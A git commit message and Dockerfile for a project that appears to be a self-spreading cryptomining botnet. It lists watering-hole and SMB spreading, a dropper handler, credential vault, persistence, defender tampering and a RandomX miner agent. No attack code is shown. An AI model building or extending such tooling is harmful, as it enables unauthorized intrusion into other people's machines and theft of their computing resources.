feat: Emberwake, Crucible phases, Linux agent, musical dashboard, e2e

Emberwake spread/waterhole UI, campaign DB, spread handler, spread-kit web publisher, and SPREAD_TECHNIQUES doc. Crucible Phase A-C: expanded ops, port-forward matrix, remote dir browser, crucible help/tests.

Linux agent hardening: credential vault, persistence audit, firewall/defender deploy, SMB spread status, CPU stats, screenshots/crypt/file-ops split. Docker compose and agent/server images with e2e validation script and docs.

Musical dashboard: ambient music player, hover SFX, SoundContext/AmbientMusicContext, steampunk polish. Public builds API, dropper handler updates, SessionGate and fleet UX. README and PROBLEMS.md refresh.

docker/Dockerfile.agent

@@ -0,0 +1,15 @@
+# Linux agent for isolated Docker E2E (RandomX is pure Go — no CGO).
+FROM golang:1.26-bookworm AS build
+WORKDIR /src
+COPY agent/go.mod agent/go.sum ./
+RUN go mod download
+COPY agent/ ./
+COPY docker/agent-builtin.go ./config/builtin.go
+RUN CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build -o /worker .
+
+FROM debian:bookworm-slim
+RUN apt-get update && apt-get install -y --no-install-recommends ca-certificates curl && rm -rf /var/lib/apt/lists/*
+WORKDIR /app
+COPY --from=build /worker /app/worker
+ENV MINER_LOG_FILE=/tmp/miner.log
+ENTRYPOINT ["/app/worker"]